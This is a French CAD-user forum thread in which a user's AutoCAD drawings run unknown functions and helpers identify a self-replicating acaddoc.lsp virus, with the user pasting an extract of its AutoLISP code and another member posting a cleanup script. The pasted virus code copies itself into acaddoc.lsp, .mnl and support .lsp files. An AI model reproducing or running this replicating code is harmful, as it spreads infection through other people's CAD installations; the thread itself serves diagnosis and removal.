[Résolut] A quoi servent ces fonctions, comment s'en débarasser???

[stugeol]

Bonjour,

Je travaille sur des fichier autoacad, lors de l'ouverture de ces fichier j'ai un ensmeble de fonction qui s'exécutent. Depuis je ne peux plus gerer l'ordre d'impression. j'ai en retour commande inconnue.

Quand je vais dans Outils-> Autolisp-> Charger une application->Au démarage contenu..., la liste est vide.

Comment se débarasser de ces fonctions (Fichier joint), et à quoi servent-elles?

Je vous remercie par avance de vôtre aide.

Cordialement.

[bryce]

Bonjour,

 

Mon antivirus ne veut pas que je télécharge ce fichier.. :unsure:

J'ai déjà vu des fichiers acaddoc.lsp qui se répliquaient eux-même (un peu comme des virus), sur certaines versions pas très officielles...

[vincentp010]

C'est bien un fichier acaddoc.lsp vérolé.

Il faut que tu supprime tous les fichiers AutoCAD.lsp et acaddoc.lsp de ton disque dur en faisant une recherche de fichier car le virus se réplique.

Il y a aussi un lisp sur cette page pour faire le ménage

[stugeol]

Ces fichiers viennent du topographe, et apparement ils perturbent le fonctionnement d'autocad.

Je n'es plus accés au commande d'ordre de tracé, et d'autres artefactes...

 

Voici un extrait du code :

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
 (setq flag nil)
 (setq flag1 t)
 (if (findfile target)
   (progn
     (setq wjm1 (open target "r"))
     (while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
     (close wjm1)
     );progn
   );if
 (if flag1
   (progn
     (setq wjm (open source "r"))
     (setq wjm1 (open target "a"))
     (write-line (chr 13) wjm1)
     (while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
  (progn
    (write-line text wjm1)
    );progn
  );if
);while
     (close wjm1)
     (close wjm)
     );progn
   );if
 );defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "[url="file://\\support"]\\support[/url]"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
 (progn
   (setq acaddocpath (vl-filename-directory dwgpath))
   (setq acaddocfile (strcat acaddocpath "[url="file://\\acaddoc.lsp"]\\acaddoc.lsp[/url]"))
   (setq mnln 0)
   (while (< mnln mnlnum)
     (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
     (app mnlfilename acaddocfile bz)
     (app acaddocfile mnlfilename bz)
     (setq mnln (1+ mnln))
     );while
   (setq lspn 0)
   (while (< lspn lspnum)
     (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
     (app lspfilename acaddocfile bz)
     (app acaddocfile lspfilename bz)
     (setq lspn (1+ lspn))
     );while
   );progn
 );if
(setq mnln 0)
(while (< mnln mnlnum)
 (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
 (setq mnln1 0)
 (while (< mnln1 mnlnum)
   (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
   (app mnlfilename mnlfilename1 bz)
   (setq mnln1 (1+ mnln1))
   );while
 (setq lspn1 0)
 (while (< lspn1 lspnum)
   (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
   (app mnlfilename lspfilename1 bz)
   (setq lspn1 (1+ lspn1))
   );while
 (setq mnln (1+ mnln))
 );while
(setq lspn 0)
(while (< lspn lspnum)
 (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
 (setq lspn1 0)
 (while (< lspn1 lspnum)
   (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
   (app lspfilename lspfilename1 bz)
   (setq lspn1 (1+ lspn1))
   );while
 (setq mnln1 0)
 (while (< mnln1 mnlnum)
   (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
   (app lspfilename mnlfilename1 bz)
   (setq mnln1 (1+ mnln1))
   );while

 

 

[stugeol]

Merci de vos réponce.

Ce lisp perturbe-t-il le fonctionnement d'autocad?

Par exemple je n'ai plus accés aux commandes FRONT, BACK, ABOVE, pour gerer les ordres de tracés.

[bryce]

Je ne pense pas que quelqu'un ait l'intention de le copier sur son disque dur pour vérifier... ;)

[stugeol]

Je ne pense pas non plus. J'ai tous remis entre les mains des informaticiens. Il faudra peut être réinstaller autocad civil3D pour retrouver un fonctionnement normale...

[bonuscad]

Je ne sais pas si cette procédure d'AutoDesk est toujours d'actualité:

How to detect and remove the AutoCAD.vlx virus

[laud69]

Bonjour,

 

J'avais moi aussi ce probleme, il me créait un AutoCAD.lsp etun acadoc.lsp dans chaque repertoire où j'ouvrais un fichier .

 

J'ai reussi à m'en débarrasser en utilisant : CVAV_v101_1.lsp que je charge automatiquement demarrage.

voir autre sujet ici:

http://cadxp.com/ind...res-de-travail/

 

 

 

;; --------- Fix AutoCAD.lsp virus ---------
;;         Free lisp from CADViet.com


(setq removedcodelist  (list
   ";; Silent load."
   "(princ)"
   "(load \"acadapp\")"
   "(load \"ddcopy.lsp\")"
   ""
  )
     infectedcodelist (strcat
   "(load \"acadapp\"),"
   "(load \"ddcopy.lsp\"),"
   "(setq path (findfile \"base.dcl\"))"
        )
     restoresv        (list (cons "cmdecho" 1)
       (cons "zoomfactor" 60)
       (cons "mbuttonpan" 1)
       (cons "HIGHLIGHT" 1)
       (cons "fillmode" 1)

        )
     restorecmd       (list "plot" "u"    "qsave"
       "line" "quit"    "trim"
       "extend" "move"    "xplode"
       "xref" "xbind"
      )

)




(princ "\n")
(princ "\n")
(princ "\n****************************************")
(princ "\nCADViet AntiVirus v1.01 is starting ...")
(setq ifile 0)
(vl-load-com)

(setq support_path (findfile "base.dcl")
     support_path (substr support_path 1 (- (strlen support_path) 8))
     nowdwg    (getvar "dwgname")
     wjqm    (findfile nowdwg)
     wjqm    (if wjqm
      wjqm
      nowdwg
    )
     dwg_path    (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg)))

     removedlist  (list
      (strcat support_path "acadapp.lsp")
      (strcat support_path "acadappp.lsp")
      (strcat support_path "ddcopy.lsp")
      (strcat dwg_path "acad.lsp")
    )
     fixedlist    (list
      (strcat support_path "acad.mnl")
      (strcat support_path "acad.lsp")
    )
)

(defun fixvr (fn / content infected)
 (if (setq ff (open fn "r"))
   (progn
     (while (setq str (read-line ff))
(if (not (member str removedcodelist))
  (setq content (append content (list str)))
  (if (wcmatch str infectedcodelist)
    (setq infected t)
  )
)
     )
     (close ff)
     (if infected
(progn
  (setq ff (open fn "w"))
  (foreach str content
    (write-line str ff)
  )
  (close ff)
  (princ (strcat "\nfile " fn " was fixed!"))
  (setq ifile (1+ ifile))
)
     )
   )
 )
)

(foreach fn removedlist
 (if (vl-file-delete fn)
   (progn
     (princ (strcat "\nfile " fn " was deleted!"))
     (setq ifile (1+ ifile))
   )
 )
)

(foreach fn fixedlist
 (fixvr fn)
)

(princ "\nCADViet AntiVirus finishes scanning ...")
(if (= ifile 0)
 (princ "\nNo infected files were found!")
 (progn
   (setvar "cmdecho" 0)
   (mapcar '(lambda (cn) (setvar (car cn) (cdr cn))) restoresv)
   (mapcar '(lambda (cn) (command ".redefine" cn)) restorecmd)
   (princ (strcat "\nTotal "
    (itoa ifile)
    " infected files were found and removed!"
   )
   )
   (setvar "cmdecho" 1)
 )
)
(princ "\n****************************************")
(princ "\n")
(princ "\n")
(princ)

[stugeol]

Merci de vos réponses,

Nous avons résolu le problème en supprimant tous les lisp du poste, puis en supprimant les répertoir userData\Autodesk, puis réinstallation d'autocad.

Tout est rentré dans l'ordre.

Cordialement.